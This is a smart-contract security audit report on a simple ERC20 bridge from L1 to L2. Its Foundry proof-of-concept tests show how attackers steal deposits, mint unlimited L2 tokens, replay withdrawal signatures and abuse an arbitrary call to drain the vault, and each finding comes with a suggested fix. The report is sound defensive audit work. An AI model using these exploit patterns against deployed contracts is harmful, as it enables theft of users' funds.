Protocol Audit Report

Version 1.0

Akshat

August 20, 2024

Protocol Audit Report

Akshat

August 20 , 2024

Prepared by: Akshat Lead Auditors: - Akshat

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move ERC20 tokens from L1 to an L2

Disclaimer

The AKSHAT team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can:

  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

This was a good audit to do , had to learn about signatures , encoding etc to find some of the bugs. Also , I got to learn on a very basic level how L2 token minting takes place

Issues found

Severity	Number of issues found
High	5
Medium	1
Low	0
Info	0
Gas	0
Total	6

Findings

High

[H-1] While calling `L1BossBridge::depositTokensToL2` , if a user approves the bridge to spend their tokens , attacker might steal their tokens

Description The `depositTokensToL2` function is called by users when they want to lock their tokens in the L1Vault , which would mint them new tokens on L2. But this requires the user to approve the Token Bridge , i.e. , `L1BossBridge` contract to spend/move their tokens. Now , a malicious user may notice that a user has approved the Token Bridge to spend their tokens , and before that user can call the `depositTokensToL2` function , the malicious user(attacker) may call the same function but instead mint the L2 tokens to their own account on the L2 , essentially stealing the funds of that user.

Impact An attacker might steal the funds of users.

Proof of Concepts 1. User approves the Token Bridge. 2. Attacker call the `depositTokensToL2` function 3. User is left with 0 funds

PoC

Place the following test into `L1TokenBridge.t.sol`

```
    function test_depositTokensToL2_breaks() public
    {
        vm.startPrank(user);
        token.approve(address(tokenBridge) , type(uint256).max);
        vm.stopPrank();

        address attacker = makeAddr("attacker");
        // vm.startPrank(attacker);
        uint256 amountToSteal = token.balanceOf(user);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user , attacker , amountToSteal);
        tokenBridge.depositTokensToL2(user , attacker ,amountToSteal);
        // vm.stopPrank();

        assertEq(token.balanceOf(user) , 0);
        assertEq(token.balanceOf(address(vault)) , amountToSteal);
    }
```

Recommended mitigation Consider removing the `from` parameter from the `depositTokensToL2` function and replace it with `msg.sender` . This makes sure that the account calling this function is only able to move THEIR OWN tokens into the vault , not somebody else's .

```
-    function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+    function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
         if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
             revert L1BossBridge__DepositLimitReached();
         }
-        token.safeTransferFrom(from, address(vault), amount);
+        token.safeTransferFrom(msg.sender, address(vault), amount);
-        emit Deposit(from, l2Recipient, amount);
+        emit Deposit(msg.sender, l2Recipient, amount);
     }
```

[H-2] `L1Vault` approves the `L1BossBridge` to spend all its tokens , causing users to mint infinite L2 tokens

Description The `L1Vault` approves the `L1BossBridge` to spend all its tokens (done in the constructor of `L1BossBridge`) . Now a malicious user may call the `L1BossBridge::depositTokensToL2` function with the following parameters: - address from : `L1Vault` - address l2Recipient : attacker - uint256 amount : all of the funds that the vault holds

This would mint `all of the funds that the vault holds` amount of L2 tokens to the attacker.

But due to how the `depositTokensToL2` works , the `all of the funds that the vault holds` amount of tokens get transferred FROM the vault TO the vault , i.e. , in a loop . This is due to the following line of code in `depositTokensToL2`

```
    token.safeTransferFrom(from, address(vault), amount);
```

Since the token balance of the vault didn't actually decrease , we can call `depositTokensToL2` function again(with the same params) , and this can be done forever.

Impact The attacker can mint INFINITE tokens on the L2

Proof of Concepts

PoC

Place the following test into `L1TokenBridge.t.sol`

```
    function test_userCanSendTokensFromVaultToThemselves() public
    {
        address attacker = makeAddr("attacker");

        uint256 vaultBalance = 500 ether;
        deal(address(token),address(vault),vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault) , attacker , vaultBalance);
        tokenBridge.depositTokensToL2(address(vault) , attacker ,
            vaultBalance);

        // can do this forever?

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault) , attacker , vaultBalance);
        tokenBridge.depositTokensToL2(address(vault) , attacker ,
            vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault) , attacker , vaultBalance);
        tokenBridge.depositTokensToL2(address(vault) , attacker ,
           vaultBalance);
    }
```

Recommended mitigation (same as H-1 , pasted as follows for reference)

Consider removing the `from` parameter from the `depositTokensToL2` function and replace it with `msg.sender` . This makes sure that the account calling this function is only able to move THEIR OWN tokens into the vault , not somebody else's .

```
-    function depositTokensToL2(address from, address l2Recipient,
    uint256 amount) external whenNotPaused {
+    function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
         if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
             revert L1BossBridge__DepositLimitReached();
         }
-        token.safeTransferFrom(from, address(vault), amount);
+        token.safeTransferFrom(msg.sender, address(vault), amount);
-        emit Deposit(from, l2Recipient, amount);
+        emit Deposit(msg.sender, l2Recipient, amount);
     }
```

[H-3] `TokenFactory::deployToken` uses some assembly code which doesn't work on ZKSync Era , means we wont be able to deploy the token as intended

Description `deployToken` function uses the following code

```
    assembly {
            addr := create(0, add(contractBytecode, 0x20), mload(
               contractBytecode))
        }
```

As clearly mentioned in the documentation , this line would not work on ZKSync Era

Impact We cannot deploy the token.

Recommended mitigation Go through the docs and maybe use an other alternative of the `CREATE` opcode , or maybe even just use high level solidity to create a new contract

[H-4] No replay protection in `L1BossBridge::sendToL1` , causing attackers to drain vault balance once any withdrawal is signed

Description `sendToL1` function , or it's wrapper `L1BossBridge::withdrawTokensToL1` is for users to call when they want to unlock their tokens from the vault and get them into their accounts.

These functions require users to send along the withdrawal data SIGNED by one of its operators. But the problem is that this signature is stored on-chain , and a attacker may call `sendToL1` function multiple times with the same signature , ultimately draining the contract balance.

Impact Attacker may drain the vault balance

Proof of Concepts 1. Give the vault and the attacker some initial balance 2. A signer approves ONE withdrawal attempt (and hence the signature is put on-chain) 3. The attacker uses this signature multiple times until the vault is empty , stealing all of the protocol's funds

PoC

Place the following test into `L1TokenBridge.t.sol`

```
    function test_SignatureReplay() public{
        address attacker = makeAddr("attacker");

        // transfer funds to vault and attacker
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token),address(vault),vaultInitialBalance);
        deal(address(token),address(attacker),attackerInitialBalance);

        // transfer tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge),attackerInitialBalance);
        tokenBridge.depositTokensToL2(attacker,attacker,
            attackerInitialBalance);
        vm.stopPrank();

        // signer/operator approves the withdrawal

        bytes memory message = abi.encode( // format of message taken
            from `L1BossBridge::withdrawTokensToL1`
            address(token),
            0,
            abi.encodeCall(
                IERC20.transferFrom,
                    (
                        address(vault),
                        attacker,
                        attackerInitialBalance
                    )
                )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
        );

        while(token.balanceOf(address(vault)) > 0){
            tokenBridge.withdrawTokensToL1(
                attacker,
                attackerInitialBalance,
                v,
                r,
                s
            );
        }

        assertEq(token.balanceOf(attacker) , attackerInitialBalance +
            vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)) , 0);
    }
```

Recommended mitigation Consider modifying the withdrawal mechanism to incorporate some signature replay defenses , such as use of nonces , timestamp , deadlines etc. , which makes it so that a particular signature can only be used once.

[H-5] `L1BossBridge::sendToL1` makes arbitrary low level calls , causing attackers to call `L1Vault::approveTo` function on themselves , stealing all the funds in the vault

Description `sendToL1` function uses the low-level `call` method , but with arbitrary target and data. An attacker might call the `approveTo` function and allow themselves to spend all of the funds of the vault

Impact Attacker may steal all the funds

Proof of Concepts 1. Fund the vault and the attacker with some initial balance 2. Assuming the bridge operator needs to see a valid deposit txn before withdrawal , the attacker sends some tokens to themselves on the L2 3. Attacker calls the `sendToL1` function, and approve themselves to spend the tokens of the vault 4. Attacker simply calls the `transferFrom` function and steals all the money in the vault

PoC

Place the following test into `L1TokenBridge.t.sol`

```
            function test_sendToL1_CanApproveAttackerToStealFunds() public{
            address attacker = makeAddr("attacker");

            // transfer funds to vault and attacker
            uint256 vaultInitialBalance = 1000e18;
            uint256 attackerInitialBalance = 100e18;
            deal(address(token),address(vault),vaultInitialBalance);
            deal(address(token),address(attacker),attackerInitialBalance);

            // transfer tokens to L2
```

```
        vm.startPrank(attacker);
        token.approve(address(tokenBridge),attackerInitialBalance);
        tokenBridge.depositTokensToL2(attacker,attacker,
           attackerInitialBalance);
        vm.stopPrank();

        // make the 'arbitrary' call
        // 1. sign the necessary message
        // 2. call the `sendToL1` function

        bytes memory message = abi.encode(
            address(vault), // target contract's address
            0,
            abi.encodeCall(
                L1Vault.approveTo,
                    (
                        attacker,
                        type(uint256).max
                    )
                )
        );

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
        );
        tokenBridge.sendToL1(
            v,
            r,
            s,
            message
        );

        assertEq(token.allowance(address(vault) , attacker) , type(
           uint256).max);

        // steal the funds
        uint256 vaultFinalBalance = token.balanceOf(address(vault));
        vm.prank(attacker);
        token.transferFrom(address(vault) , attacker ,
           vaultFinalBalance);

        assertEq(token.balanceOf(attacker) , vaultInitialBalance +
           attackerInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended mitigation Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.